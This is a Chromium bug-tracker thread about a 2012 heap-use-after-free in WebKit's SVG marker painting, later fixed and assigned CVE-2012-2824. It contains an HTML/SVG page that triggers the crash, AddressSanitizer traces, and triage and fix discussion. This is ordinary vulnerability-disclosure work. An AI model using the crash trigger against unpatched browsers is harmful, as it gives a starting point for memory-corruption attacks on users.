New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user
Status: Fixed
Owner:
Closed: Dec 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment
Heap-use-after-free in WebCore::RenderSVGContainer::paint
Reported by miau...@gmail.com, Apr 27 2012 Back to list

VULNERABILITY DETAILS
use-after-free in WebCore::RenderSVGContainer::paint

VERSION
Chrome Version: stable + dev

Chromium	20.0.1121.0 (Developer Build 134273)
OS	Linux
WebKit	536.10 (@115413)

Operating System: 64bit precise

REPRODUCTION CASE

yes, it has counters.

<html>
  <head>
    <style>
      #el1 {
        border-left-style: double;
      }
      #el3 { 
        content: counter(c);
      }
    </style>
    <script>
      onload = function() {
        el0=document.createElementNS('http://www.w3.org/2000/svg', 'svg')
        el0.setAttribute('marker-mid', 'url(#el4)')
        document.body.appendChild(el0)
        el1=document.createElementNS('http://www.w3.org/2000/svg', 'svg')
        el1.setAttribute('id','el1')
        document.body.appendChild(el1)
        el2=document.createElementNS('http://www.w3.org/2000/svg', 'path')
        el2.setAttribute('d', 'M 0 0 s 0 0 0 0 C 0 0 0 0 0 400 c 0 0 0 400 400 0')
        el0.appendChild(el2)
        el3=document.createElementNS('http://www.w3.org/2000/svg', 'svg')
        el3.setAttribute('id','el3')
        el1.appendChild(el3)
        el4=document.createElementNS('http://www.w3.org/2000/svg', 'marker')
        el4.setAttribute('id','el4')
        el3.appendChild(el4)
        scrollTo(0, 60)
        document.body.style.zoom=0.1
        document.designMode='on'
        document.execCommand('selectall')
        document.designMode='off'
        setTimeout("location.reload()", 100)
        }
      </script>
    </head>
    <body>
    </body>
  </html>


FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: tab + asan
Crash State: 


==12506== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffed57ae80 at pc 0x55555bb9957d bp 0x7fffffff0710 sp 0x7fffffff0708
READ of size 8 at 0x7fffed57ae80 thread T0
    #0 0x55555bb9957d in WebCore::RenderSVGContainer::paint(WebCore::PaintInfo&, WebCore::IntPoint const&) ???:0
    #1 0x55555bb313c3 in WebCore::RenderSVGResourceMarker::draw(WebCore::PaintInfo&, WebCore::AffineTransform const&) ???:0
    #2 0x55555bb4882e in WebCore::SVGMarkerLayoutInfo::drawMarkers(WebCore::PaintInfo&) ???:0


0x7fffed57ae80 is located 0 bytes inside of 240-byte region [0x7fffed57ae80,0x7fffed57af70)
freed by thread T0 here:
    #0 0x55555e1e0eb2 in free ??:0
    #1 0x55555939d134 in WebCore::Node::detach() ???:0
    #2 0x55555935ee1c in WebCore::Element::detach() ???:0
    #3 0x5555592cb059 in WebCore::ContainerNode::detach() ???:0


 
0240.txt
11.4 KB View Download
0240.html
1.2 KB View Download
stable-0240.txt
11.9 KB View Download
Can you trigger this without the counter ? 
Cc: pdr@chromium.org schenney@chromium.org
Labels: WebKit-SVG
Comment 3 by kenrb@chromium.org, Apr 27 2012
Summary: Heap-use-after-free in WebCore::RenderSVGContainer::paint (was: NULL)
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=40396751

Uploader: kenrb@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7f05ba9cdc80
Crash State:
  - crash stack -
  WebCore::RenderSVGContainer::paint
  WebCore::RenderSVGResourceMarker::draw
  - free stack -
  WebCore::Node::detach
  WebCore::Element::detach
  
Regressed: https://cluster-fuzz.appspot.com/revisions?range=124014:124069

Minimized Testcase (1.12 Kb): https://cluster-fuzz.appspot.com/download/AMIfv95qgpgnWoC4fb6XTlpPrTkF4VmLQTeWPakagWk_1pBDzrJn4d2gMlcEc_F_qm5HYsUL2r_miKTOG84esOZp4aWDGXpMu8TtaKgsA7iAUB73q-pFL_DCuRKafnJzabZnLyUDF624kIa8OYjf6JDicjD3koBpMQ
Cc: -schenney@chromium.org
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecImpacts-Stable SecImpacts-Beta SecSeverity-High OS-All Mstone-18
Owner: schenney@chromium.org
Status: Assigned
Stephen, can you please hunt the regresse :)
Damn. Repros in Asan build of chrome but not debug build (i.e. don't hit asserts). I'll look into it more tomorrow, including regression range (although it's probably always been present) and figuring out exactly what's going wrong.
I could not figure out why ASAN is complaining about this. I'm not quite certain yet, but explicitly tracking the malloc/use/free with printf causes the crash in ASAN builds but the object in question has not been deleted.

If this is indeed an ASAN false positive, I suspect the problem lies in the arena allocation code used for WebCore Element objects. While it seems that ASAN builds bypass all of this code, there may be some piece of code that is not bypassed that is hit in this execution.

Does anyone on the security team have insight on what to do in a situation like this?
Sorry if this is old news, but I once ran into a bunch of valgrind warnings on RenderArena-allocated things in a Release build.  The RenderArena stuff seems to compile differently for release, debug, and ASAN.  Forcing it to the simple (malloc) implementation made valgrind shut up, but it looks like ASAN is already doing that (assuming ADDRESS_SANITIZER is being defined):

#ifdef ADDRESS_SANITIZER
    return ::malloc(size);
#elif !defined(NDEBUG)
    // Use standard malloc so that memory debugging tools work.
    ASSERT(this);
    void* block = ::malloc(debugHeaderSize + size);
    RenderArenaDebugHeader* header = static_cast<RenderArenaDebugHeader*>(block);
    header->arena = this;
    header->size = size;
    header->signature = signature;
    return static_cast<char*>(block) + debugHeaderSize;
#else
    ...
#endif

Comment 8 by cdn@chromium.org, May 14 2012
When creating upstream WebKit bugs, please be sure to CC people who have previously commented on the Chromium bug, like me and pdr and senorblanco.

Labels: -Mstone-18 Mstone-19
m19 is out, moving milestone m18 bugs to m19.
Stephen, we are currently in a heavy bug knockout mode for bugs affecting stable. This is one of the last few ones left. Can you please poke some svg reviewer for Niko's patch upstream.
Comment 12 Deleted
Rob Buis has said he'll look at it today.
Status: Fixed
WebKit Committed r117971: <http://trac.webkit.org/changeset/117971> by Nikolas Zimmermann.
Comment 15 by kenrb@chromium.org, May 22 2012
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
This looks like a fairly hefty merge. scarybeasts can make the call on it.
Labels: -Mstone-19 Mstone-20 reward-topanel
Yeah, also just hours old so this is not a suitable merge candidate to M19 at this point.

It is a suitable candidate for reward-topanel, though :)
Labels: -reward-topanel reward-1000 reward-unpaid
Nice bug miaubiz. $1000
Project Member Comment 18 by ClusterFuzz, May 23 2012
ClusterFuzz has detected this issue as fixed in range 138307:138403.

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=40396751

Uploader: kenrb@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7f05ba9cdc80
Crash State:
  - crash stack -
  WebCore::RenderSVGContainer::paint
  WebCore::RenderSVGResourceMarker::draw
  - free stack -
  WebCore::Node::detach
  WebCore::Element::detach
  
Regressed: https://cluster-fuzz.appspot.com/revisions?range=124014:124069
Fixed: https://cluster-fuzz.appspot.com/revisions?range=138307:138403

Minimized Testcase: https://cluster-fuzz.appspot.com/download/AMIfv95qgpgnWoC4fb6XTlpPrTkF4VmLQTeWPakagWk_1pBDzrJn4d2gMlcEc_F_qm5HYsUL2r_miKTOG84esOZp4aWDGXpMu8TtaKgsA7iAUB73q-pFL_DCuRKafnJzabZnLyUDF624kIa8OYjf6JDicjD3koBpMQ

If you suspect that the result above is incorrect, try re-doing that job on the testcase report page.
Labels: -Merge-Approved Merge-Merged
M20: http://trac.webkit.org/changeset/118880
Labels: CVE-2012-2824
Labels: -reward-unpaid
Project Member Comment 22 by bugdroid1@chromium.org, Oct 13 2012
Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Status: Fixed
Project Member Comment 24 by bugdroid1@chromium.org, Mar 10 2013
Labels: -Type-Security -Area-WebKit -WebKit-SVG -SecImpacts-Stable -SecImpacts-Beta -SecSeverity-High -Mstone-20 Cr-Content M-20 Security-Impact-Stable Security-Impact-Beta Cr-Content-SVG Security-Severity-High Type-Bug-Security
Project Member Comment 25 by bugdroid1@chromium.org, Mar 13 2013
Labels: Restrict-View-EditIssue
Project Member Comment 26 by bugdroid1@chromium.org, Mar 14 2013
Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member Comment 28 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Severity-High Security_Severity-High
Project Member Comment 29 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member Comment 30 by bugdroid1@chromium.org, Mar 21 2013
Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member Comment 31 by bugdroid1@chromium.org, Apr 6 2013
Labels: -Cr-Content Cr-Blink
Project Member Comment 32 by bugdroid1@chromium.org, Apr 6 2013
Labels: -Cr-Content-SVG Cr-Blink-SVG
Project Member Comment 33 by sheriffbot@chromium.org, Jun 14 2016
Labels: -security_impact-beta
Project Member Comment 34 by sheriffbot@chromium.org, Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 35 by sheriffbot@chromium.org, Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Sign in to add a comment